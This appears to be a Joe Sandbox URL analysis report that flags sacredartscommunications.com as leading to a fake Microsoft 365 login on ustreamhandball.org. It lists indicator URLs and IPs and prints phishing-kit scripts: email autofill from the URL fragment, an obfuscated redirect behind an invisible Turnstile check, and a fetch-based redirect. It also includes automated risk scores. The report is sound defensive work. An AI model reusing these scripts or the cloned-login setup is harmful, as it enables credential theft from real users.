https://login.ustreamhandball.org/s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/common/GetCredentialType?mkt=en-US	false	Avira URL Cloud: safe	unknown
https://www.ustreamhandball.org/login	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ff82960bc478c6f/1736464867064/09c5295c7046ae5d5cd8eb0ed679dbf404a3722ad201c961298268339cc30dba/im7_ASrXwneZXIb	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js	false	Avira URL Cloud: safe	unknown
https://www.ustreamhandball.org/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.ustreamhandball.org/ZspqXQij?n=GTFFxd4	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ff82960bc478c6f&lang=auto	false		high
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/	true	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd	false		high
https://www.ustreamhandball.org/ZspqXQij	true		unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js	false	Avira URL Cloud: safe	unknown
https://sacredartscommunications.com/	false		unknown
https://upload.wikimedia.org/wikipedia/commons/0/0f/Microsoft_logo_-_2012_%28vertical%29.svg	false		high
https://login.ustreamhandball.org/s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/	false		high
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/common/handlers/watson	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	false	Avira URL Cloud: safe	unknown
https://login.ustreamhandball.org/favicon.ico	false	Avira URL Cloud: safe	unknown
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	false		high
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.inkscape.org/)	chromecache_90.3.dr, chromecache_104.3.dr	false	high
https://login.windows-ppe.net	chromecache_87.3.dr, chromecache_75.3.dr	false	high
https://login.microsoftonline.com	chromecache_87.3.dr, chromecache_75.3.dr	false	high
http://knockoutjs.com/	chromecache_100.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_111.3.dr, chromecache_106.3.dr, chromecache_114.3.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_112.3.dr, chromecache_100.3.dr, chromecache_118.3.dr, chromecache_91.3.dr, chromecache_78.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_109.3.dr, chromecache_108.3.dr, chromecache_111.3.dr, chromecache_122.3.dr, chromecache_106.3.dr, chromecache_114.3.dr, chromecache_116.3.dr	false	high
http://creativecommons.org/ns#	chromecache_90.3.dr, chromecache_104.3.dr	false	high
http://gsgd.co.uk/sandbox/jquery/easing/	chromecache_103.3.dr, chromecache_120.3.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_100.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_111.3.dr, chromecache_106.3.dr, chromecache_114.3.dr	false	high
http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd	chromecache_90.3.dr, chromecache_104.3.dr	false	high
http://feross.org	chromecache_112.3.dr, chromecache_82.3.dr	false	high
http://www.inkscape.org/namespaces/inkscape	chromecache_90.3.dr, chromecache_104.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
192.185.25.242	sacredartscommunications.com	United States	46606	UNIFIEDLAYER-AS-1US	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.61	s-part-0033.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.15.59.240	upload.wikimedia.org	Netherlands	14907	WIKIMEDIAUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
165.140.202.155	ustreamhandball.org	Reserved	2381	WISCNET1-ASUS	true

Private

IP
192.168.2.7
192.168.2.9
192.168.2.6
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587126
Start date and time:	2025-01-10 00:19:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://sacredartscommunications.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@20/75@30/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 64.233.184.84, 142.250.186.78, 142.250.185.78, 142.250.186.110, 142.250.184.206, 192.229.221.95, 199.232.210.172, 142.250.181.238, 2.16.238.149, 2.16.238.152, 40.126.32.72, 20.190.160.20, 40.126.32.68, 40.126.32.134, 40.126.32.74, 40.126.32.136, 20.190.160.14, 20.190.160.22, 40.126.32.76, 40.126.32.138, 142.250.185.206, 142.250.185.142, 142.250.185.238, 172.217.16.202, 142.250.184.234, 142.250.186.106, 142.250.185.202, 142.250.186.42, 142.250.186.74, 172.217.18.106, 142.250.185.170, 142.250.185.74, 142.250.186.170, 216.58.206.74, 142.250.185.234, 216.58.212.170, 142.250.186.138, 142.250.185.138, 142.250.185.106, 51.132.193.104, 52.182.143.211, 216.58.206.67, 142.250.186.174, 172.217.18.14, 216.58.212.174, 13.107.246.45, 184.28.90.27, 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedscolprduks02.uksouth.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, a1894.dscb.akamai.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, onedscolprdcus13.centralus.cloudapp.azure.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://sacredartscommunications.com/

Input	Output
URL: https://sacredartscommunications.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://sacredartscommunications.com
URL: https://login.ustreamhandball.org/s/ec9765f3a6cb33... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including extracting data from the URL and automatically interacting with form elements. While the intent is not immediately clear, the script's ability to manipulate the login flow raises concerns and requires further review." }
function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(query)){ var res = query.split("#"); var data1 = res[0]; var data2 = res[1]; console.log(data1); console.log(data2); if (emailId != null) { var m = data2.replace(/[=]/gi, ''); emailId.focus(); emailId.value = m; nextButton.focus(); nextButton.click(); console.log("YES!"); return; } } setTimeout(function(){lp();}, 1500); } setTimeout(function(){lp();}, 1500);
URL: https://www.ustreamhandball.org/ZspqXQij... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script demonstrates several high-risk behaviors, including the use of obfuscated URLs and redirecting to a suspicious domain. While the script appears to be using a legitimate Turnstile widget, the obfuscation and redirection to an unknown domain raise concerns about potential malicious intent." }
turnstile.ready(function () { turnstile.render('#cf-turnstile', { sitekey: '0x4AAAAAAA1wI9U09BCnh_d1', // replace this with your own sitekey 'widget-mode': 'invisible', // ensure the widget is invisible callback: function (token) { // Redirect after successful verification window.location.assign('htt' + 'ps' + ':' + '//' + 'www' + '.u' + 'st' + 'r' + 'e' + 'a' + 'm' + 'ha' + 'nd' + 'bal' + 'l.' + 'or' + 'g' + '/' + 'Zs' + 'pq' + 'XQi' + 'j?n' + '=' + 'GTF' + 'Fx' + 'd' + '4'); }, }); });
URL: https://login.ustreamhandball.org/s/ec9765f3a6cb33... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate function that fetches a redirect URL from a server and redirects the user to that URL. While it uses the `fetch` API and includes cookies in the request, the behavior is consistent with typical redirection functionality and does not exhibit any high-risk indicators. The script handles errors and retries the request on failure, which is a common practice. Overall, the script seems to be implementing a standard redirection mechanism without any obvious malicious intent." }
function getRedirect(sid) { var url = "/s/" + sid; console.log("fetching: " + url); fetch(url, { method: "GET", headers: { "Content-Type": "application/json" }, credentials: "include" }) .then((response) => { if (response.status == 200) { return response.json(); } else if (response.status == 408) { console.log("timed out"); getRedirect(sid); } else { throw "http error: " + response.status; } }) .then((data) => { if (data !== undefined) { console.log("api: success:", data); top.location.href=data.redirect_url; } }) .catch((error) => { console.error("api: error:", error); setTimeout(function () { getRedirect(sid) }, 10000); }); } getRedirect('ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60');
URL: https://login.ustreamhandball.org/common/oauth2/v2... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that warrant further review. While it does not exhibit any clear high-risk indicators, there are some moderate-risk factors present, such as external data transmission and the use of fallback domains. Additionally, the script appears to be handling sensitive user data and authentication-related functionality, which increases the potential for abuse if not properly implemented. Overall, the script requires closer inspection to ensure it is not engaging in any malicious activities." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.ustreamhandball.org/shared/1.0/","urlDefaultFavicon":"https://aadcdn.ustreamhandball.org/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/common/oauth2/v2.0/authorize?client-request-id=6d79123f-f278-4173-b566-f561b534f115\u0026client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026mkt=en-US\u0026nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl\u0026redirect_uri=https%3a%2f%2fwww.ustreamhandball.org%2flandingv2\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2fwww.ustreamhandball.org%2fv2%2fOfficeHome.All\u0026state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA\u0026ui_locales=en-US\u0026x-client-SKU=ID_NET8_0\u0026x-client-ver=7.5.1.0\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.ustreamhandball.org/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=6d79123f-f278-4173-b566-f561b534f115","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=6d79123f-f278-4173-b566-f561b534f115","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=6d79123f-f278-4173-b566-f561b534f115\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=6d79123f-f278-4173-b566-f561b534f115\u0026origin=login.ustreamhandball.org\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fIsCiamUserFlowUxNewLogicEnabled":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fUseHighContrastDetectionMode":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"urlAcmaServerPath":"https://login.ustreamhandball.org","sTenantId":"00000000-0000-0000-0000-000000000000","scid":1013,"hpgact":1800,"hpgid":6,"apiCanary":"PAQABDgEAAABVrSpeuWamRam2jAF1XRQEGgQ3oaAaz-nM8JFm0zXKjAzrDaDUwowoq_N9XyQJbFd5hC0Iav5cWT2mgyuckT6oSl3rEzwyKq2lsR9D2ANhDnobxMs4_n-AxDLZmOgikh7Adp64gz68OgOyLGBdqxBRDUcC9QOqdYd_UyxvnXsIwyqpSOTPDpFplfDwwRTamlMJ_web8fjWYowpvyeI6Q7LSq4NgVin6To-Uq_x97otcSAA","canary":"vsXESBLZXIXCYYbWoaOFFuycCYRJ6Wyn3qCc41JBXPw=8:1:CANARY:0L+uZI9A5zbFVJ9Gm3BA4w+ka/9U/TDV6K9bo76GoZU=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"6d79123f-f278-4173-b566-f561b534f115","sessionId":"7a8054cc-f34b-42a5-ac78-432b4ef62800","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingme
URL: https://login.ustreamhandball.org/common/oauth2/v2... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility library for managing asynchronous script loading and execution. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script primarily focuses on handling document ready and load events, as well as providing a simple API for registering and executing scripts. While it uses some legacy practices like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script seems to be a benign utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://login.ustreamhandball.org/common/oauth2/v2... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that require further review. While it does not exhibit any clear malicious intent, it uses some practices that could be considered aggressive or potentially problematic. The script appears to be implementing a custom debugging/logging mechanism, which is not inherently malicious, but the way it manipulates the DOM and interacts with external domains raises some concerns. Overall, the script requires closer inspection to determine the full context and intent behind its implementation." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(
URL: https://login.ustreamhandball.org/common/oauth2/v2... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive information (session ID) without transparency. While the script may have a legitimate purpose, such as preventing unauthorized framing, the lack of context and the use of obfuscated code raise significant security concerns." }
